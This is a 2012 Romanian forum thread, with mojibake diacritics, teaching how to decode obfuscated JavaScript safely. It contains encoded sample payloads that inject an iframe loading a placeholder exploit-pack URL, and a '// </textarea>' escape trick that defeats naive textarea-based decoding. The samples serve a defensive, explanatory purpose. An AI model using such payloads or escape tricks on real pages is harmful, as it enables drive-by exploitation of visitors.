B7ackAnge7z Posted October 28, 2012 Report Posted October 28, 2012 Cu siguran?? mul?i dintre voi cunoa?te?i sintaxa JavaScript, pute?i scrie ?i citi un fragment de cod scris în acest limbaj, îns? cu toate acestea a?i întâlnit scripturi JavaScript, care la prima vedere par indescifrabile. Dac? faci parte din acest grup ?i dore?ti s? afli câteva trucuri ce te-ar ajuta s? decriptezi scripturile „obfuscate” — î?i propun s? cite?ti acest mic tutorial. De asemenea, a? recomanda tutorialul ?i celor care au ceva experien?? în domeniu — c?ci deseori am v?zut c? ei folosesc tehnici nu tocmai sigure pentru a ob?ine un cod lizibil.» Ce este un obfuscator ?i la ce folose?te?În caz c? nu ?tia?i, un obfuscator este aplica?ia ce are ca scop transformarea codului surs? într-un cod indescifrabil, care r?mâne perfect func?ional chiar dac? sursa a fost modificat? ?i la final arat? ca naiba.De cele mai multe ori, obfuscatorul este folosit pentru a ascunde codul de „cititorii nepofti?i”, astfel încât ei s? nu afle ce func?ie îndepline?te acel script. De asemenea, obfuscatorul mai este folosit ?i pentru a nu permite modificarea ?i utilizarea scriptului f?r? ?tirea autorului.» Diferen?a dintre a obfusca ?i a comprimaMulte persoane consider? c? a „obfusca” ?i a „comprima” codul este unul ?i acela?i lucru. Gre?it. E important de ?tiut c?, comprimarea se folose?te pentru a minimaliza cantitatea de cod (acest lucru se ob?ine prin eliminarea comentariilor, spa?iilor ?i altor caractere inutile), astfel comprimarea ajut? la sporirea performan?ei aplica?iei WEB. Pe de alt? parte, obfuscarea face exact invers — pentru a fi posibil? criptarea codului, m?re?te cantitatea de cod (ad?ugând func?ii, cicluri, variabile, etc.), astfel reducând considerabil din performan?a aplica?iei WEB.Pentru a vedea diferen?a dintre obfuscarea ?i comprimarea codului JavaScript, propun s? analiza?i urm?toarele exemple:>> Codul ini?ial (263 caractere):// Verific?m adresa site-uluiif (!window.location.hostname != 'www.site.com') { // Preîntâmpin?m utilizatorul alert('Acest site incalc? drepturile de autor'); // Redirec?ion?m utilizatorul window.location.replace('http://www.site.com/');}>> Codul comprimat (143 caractere):if(!window.location.hostname!='www.site.com'){alert('Acest site incalc? drepturile de autor');window.location.replace('http://www.site.com/')}>> Codul obfuscat (445 caractere):eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5(!1.2.6!=\'3.0.4\'){7(\'8 0 9? a b c\');1.2.d(\'e://3.0.4/\')}',15,15,'site|window|location|www|com|if|hostname|alert|Acest|incalc|drepturile|de|autor|replace|http'.split('|'),0,{}))Dup? cum pute?i vedea (dac? decripta?i codul obfuscat) singura asem?nare dintre aceste dou? procese este faptul c? în ambele cazuri vor fi eliminate comentariile JavaScript.» De ce e periculos s? înlocuim eval() cu document.write()Am v?zut multe persoane care decodeaz? scripturile înlocuind func?ia eval() cu document.write() f?r? s? se gândeasc? c? scriptul criptat se rezum? la:document.write('<iframe src="//xploit/pack"></iframe>');De exemplu, dac? criptat, codul de mai sus arat? a?a:eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));iar noi înlocuim func?ia eval() cu document.write() ?i execut?m scriptul în browser, iframe-ul v-a înc?rca cu succes con?inutul paginii //xploit/pack:document.write("document.write('<iframe src="//xploit/pack"></iframe>'");Iat? de ce, niciodat? s? nu folosi?i aceast? metod? (aici ar trebui s? fie un punct) dac? nu rula?i browser-ul pe PC-ul virtual sau nu dori?i s? trimite?i IP-ul spre un server necunoscut.» Despre JsBeautifier ?i alte aplica?ii similareCând apar întreb?rile despre decriptarea scripturilor, majoritatea arat? cu degetul spre JsBeautifier sau alte site-uri ce ofer? aplica?ii similare. Recunosc, JsBeautifier e o aplica?ie foarte util?, îns? e foarte limitat? ?i de regul? e foarte simplu s? o p?c?le?ti. De exemplu, lu?m exemplul de mai sus ?i-l modific?m pu?in:var e = eval, u = unescape;e(u('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));Dac? o s? încerca?i s?-l decripta?i cu JsBeautifier, v? anun? din start — pur ?i simplu ve?i r?mâne dezam?gi?i.» Modalit??i gre?ite de decriptare a codului JavaScriptNu exclud faptul c? mul?i nu vor fi de acord, dar personal consider c? a înlocui func?ia eval() cu alert() este o metod? gre?it? (acest lucru se refer? ?i la console.log() sau alt? func?ie similar?). Consider astfel, deoarece aceste func?ii nu permit decriptarea rapid? a codului criptat, plus citirea codului primit e foarte dificil?. Imagina?i-v?, un cod de 10k de caractere care apeleaz? de peste 100 ori la func?ia eval() — cu siguran?? trebuie s? ai nervi de o?el.O alt? metod? gre?it?, dar ?i periculoas?, este ad?ugarea unei linii document.write('<textarea>'); înainte de codul criptat ?i înlocuirea func?iei eval() cu document.write(). Dac? luam exemplul de mai sus, primim urm?torul cod:document.write('<textarea>');document.write(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));document.write('</textarea>');La executare vom primi un rezultat destul de interesant — va ap?rea un element de tip textarea în care v-a fi scris codul iframe-ului:<textarea><iframe src="//xploit/pack"></iframe></textarea>La prima vedere nimic periculos — iframe-ul nu a înc?rcat nimic, iar codul l-am primit în siguran?? f?r? a permite executarea unor altor func?ii sau linii de cod. Pericolul totu?i exist?, pentru c? cel care a criptat scriptul s-a gândit c? se vor g?si doritori de ai analiza capodopera, ?i cu siguran?? la codul surs? v-a ad?uga ?i ceva de genul:// </textarea>iar criptat, codul v-a ar?ta a?a:document.write(unescape('%2F%2F%20%3C%2F%74%65%78%74%61%72%65%61%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));La executare, dat fiind faptul c? HTML nu percepe comentariile JavaScript, linia // </textarea> v-a închide tag-ul elementului <textarea> ?i iframe-ul v-a înc?rca exploit-ul cu succes.» Decriptarea eficient? ?i sigur? a unui cod JavaScriptMetoda pe care vreau s? v-o prezint, o foloseam cu ceva timp în urm?, ?i întotdeauna mi-a permis s? decodez rapid practic orice cod criptat scris în JavaScript. De aceea m-am gândit c? ar fi bine scriu despre aceasta, astfel ajutând pe cei mai pu?ini experimenta?i ?i protejându-i de eventualule pericole. Apropo, ar fi dr?gu? dac? a?i posta comentarii în care s? descrie?i metodele folosite de voi.Deci, metoda e foarte simpl? — trebuie s? redefinim func?iile eval() ?i document.write(), iar datele trimise c?tre acestea s? le scriem într-o c?su??:<!-- Cre?m c?su?a unde for fi salvate datele --><textarea id="js" style="width:80%;height:200px"></textarea><script>// Ob?inem elementul textareavar txt = document.getElementById('js');// Redefinim func?iiledocument.write = window.eval = function (str) { // Scriem codul ce trebuia executat în c?su?a textarea txt.value += str; // Nu ne facem probleme în privin?a tag-urilor HTML, deoarece // browser-ul are grij? ca c?su?a s? fie completat? corespunz?tor};</script>Dac? compres?m codul de mai sus, ob?inem dou? linii de cod, care mereu trebuie s? fie la îndemân?:<textarea id="js" style="width:80%;height:200px"></textarea><script>var txt=document.getElementById('js');document.write=window.eval=function(str){txt.value+=str}</script>Desigur, dac? întâlni?i zilnic astfel de „sarcini”, poate fi creat ?i un JavaScript Bookmarklet, care s? fie accesat direct din browser.Nu recomand aceast? metod? (de alt fel, ca ?i oricare alta) celor care nu au idee ce fac func?iile document.createElement() sau {obj}.appendChild() — ar fi prea periculos. Iar în caz c? v? este fric? de alte func?ii, dar totu?i dori?i s? decripta?i orice cod scris în JavaScript — pur ?i simplu redefini?i-le al?turi de eval() ?i document.write()Decriptare pl?cut??i f?r? incidente. Quote
Nytro Posted October 31, 2012 Report Posted October 31, 2012 Singurul tutorial util si interesant de prin aceasta categorie.Am postat doar pentru "bump", ca sa nu se mai vada celelalte cacaturi de pseudo-tutoriale. Quote
B7ackAnge7z Posted October 31, 2012 Author Report Posted October 31, 2012 Am postat doar pentru "bump", ca sa nu se mai vada celelalte cacaturi de pseudo-tutoriale.Era mai dr?gu? dac? scriai ?i despre metoda pe care o folose?ti la decriptarea codului JavaScript :"> Quote
fulminator Posted October 31, 2012 Report Posted October 31, 2012 si daca decriptez stringul si il pun intr-un fisier pe care il deschid cu notepad? Quote
B7ackAnge7z Posted October 31, 2012 Author Report Posted October 31, 2012 si daca decriptez stringul si il pun intr-un fisier pe care il deschid cu notepad?Dac? sincer, nu prea am în?eles ce ai dorit s? spui: prea pu?ine detalii sau mie îmi scap? ceva? Quote
B7ackAnge7z Posted October 31, 2012 Author Report Posted October 31, 2012 Si sursa ?© B7ackAnge7z Quote
B7ackAnge7z Posted October 31, 2012 Author Report Posted October 31, 2012 @bc-vnt: Dezvolt?.Probabil bc-vnt a crezut c? am copiat tutorialul ?i dorea s? indic sursa. Quote
fulminator Posted October 31, 2012 Report Posted October 31, 2012 (edited) Dac? sincer, nu prea am în?eles ce ai dorit s? spui: prea pu?ine detalii sau mie îmi scap? ceva?Nu ma pricep la criptari si decriptari javascript, doar intreb.1. Am recitit tutorialul si am gasit asta: "înlocui func?ia eval() cu alert()" la capitolul decriptare. Nu inteleg... daca inlocuiesti eval cu alert, atunci nu ar trebui ca sa iti apara un pop-up cu textul criptat? Ai vrut sa spui: sa pui un alert in fata la eval?2. Ai spus ca document.write si document.write cu textarea sunt decriptari periculoase. Apoi ai aratat o decriptare sigura si eficienta: de fapt, crearea dinamica a unui textarea si introducerea codului decriptat in el. Intr-adevar, mi se pare si mie sigura, insa... toate aceste decriptari se fac in browser. Practic, ca sa vezi textul decriptat, te folosesti de browser. Pai si daca nu te folosesti de el? Solutii in afara browserului imi vin 2 in minte: decriptarea online (e totusi, browserul, dar codul ti-l ofera trecut printr-un server care banuiesc ca are filtre) si scrierea intr-un fisier. Banuiesc ca exista niscai librarii js ce ofera functii de write, read, append in fisiere. Creezi un fisier .txt, si copiezi tot textul decriptat in el. Nu folosesti browserul sa citesti codul. Folosesti notepad.Sunt doar idei, nu le-am testat. Pareri? Edited October 31, 2012 by fulminator Quote
B7ackAnge7z Posted October 31, 2012 Author Report Posted October 31, 2012 Nu inteleg... daca inlocuiesti eval cu alert, atunci nu ar trebui ca sa iti apara un pop-up cu textul criptat?Acest lucru ?ine de programare ?i nu doar de decriptarea codului. De exemplu, urm?torul cod:eval(unescape("%61%6C%65%72%74%28%22%22%29"));este versiunea ini?ial? a acestui cod:var str = unescape("%61%6C%65%72%74%28%22%22%29");eval(str);Sper c? acum ai în?eles de ce nu primim alert-ul cu codul criptat, dac? înlocuim eval() cu alert(). Apropo, prive?te ce periculos ar fi dac? adaugi alert() în fa??:var str = unescape("%61%6C%65%72%74%28%22%22%29");var result = eval(str);alert(result);Solutii in afara browserului imi vin 2 in minte: decriptarea online (e totusi, browserul, dar codul ti-l ofera trecut printr-un server care banuiesc ca are filtre) si scrierea intr-un fisier. Banuiesc ca exista niscai librarii js ce ofera functii de write, read, append in fisiere. Creezi un fisier .txt, si copiezi tot textul decriptat in el. Nu folosesti browserul sa citesti codul. Folosesti notepad.În orice caz ai nevoie de browser sau JavaScript Engine pentru a executa codul JavaScript. Îns? (momentan) nu v?d nici un motiv pentru care ai dori s? faci acest lucru. Cât despre decriptarea online — majoritatea aplica?iilor oricum decripteaz? codul în browserul utilizatorului. Quote
fulminator Posted October 31, 2012 Report Posted October 31, 2012 Acum inteleg de ce alert-ul il afiseaza necriptat, mersi.În orice caz ai nevoie de browser sau JavaScript Engine pentru a executa codul JavaScript. Sunt eu cam greu de cap, insa nu inteleg... Era vorba de decriptarea codului javascript obfuscat, nu de rularea lui. Pai de ce as executa codul javascript daca e susceptibil de a fi malicios? Pai eu nu vreau sa il execut. Eu vreau sa il decriptez si sa il citesc. Si atunci... I don't really need the browser to read text. Quote